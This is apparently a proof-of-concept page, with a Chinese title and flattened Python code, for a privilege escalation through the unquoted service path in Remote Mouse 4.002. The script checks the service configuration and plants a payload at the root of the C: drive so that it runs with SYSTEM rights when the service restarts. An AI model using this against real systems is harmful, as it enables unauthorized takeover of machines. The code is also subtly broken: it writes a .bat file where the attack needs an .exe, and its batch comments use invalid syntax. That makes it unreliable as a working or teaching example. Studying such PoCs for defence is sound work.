CVE-2021-47792: Remote Mouse 4.002 未引用的服务路径本地提权漏洞

# CVE-2021-47792 PoC - Remote Mouse Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Remote Mouse 4.002 import os import sys import shutil import subprocess def check_vulnerability(): """Check if Remote Mouse service exists and has unquoted path""" try: result = subprocess.run( ['sc', 'qc', 'RemoteMouseService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] RemoteMouseService found") # Extract the path (simplified for demonstration) for line in result.stdout.split('\n'): if 'BINARY_PATH' in line: print(f"[+] Service path: {line.strip()}") if '"' not in line: print("[!] Service path is unquoted - VULNERABLE") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_payload(): """Generate malicious executable to be placed in unquoted path""" malicious_exe = "C:\\Program.exe" # In real attack, this would be a malicious executable # For demonstration, creating a simple batch script wrapper payload_code = '''@echo off # Malicious code would be executed here with SYSTEM privileges echo [+] Payload executed with SYSTEM privileges >> C:\\temp\\pwned.log ''' try: os.makedirs("C:\\temp", exist_ok=True) with open(malicious_exe.replace('.exe', '.bat'), 'w') as f: f.write(payload_code) print(f"[+] Payload created: {malicious_exe.replace('.exe', '.bat')}") return True except Exception as e: print(f"[-] Failed to create payload: {e}") return False if __name__ == '__main__': print("=" * 60) print("CVE-2021-47792 PoC - Remote Mouse Unquoted Service Path") print("=" * 60) if check_vulnerability(): print("[+] Target is vulnerable") create_payload() print("[+] Wait for service restart to trigger payload execution") else: print("[-] Target is not vulnerable or RemoteMouseService not found")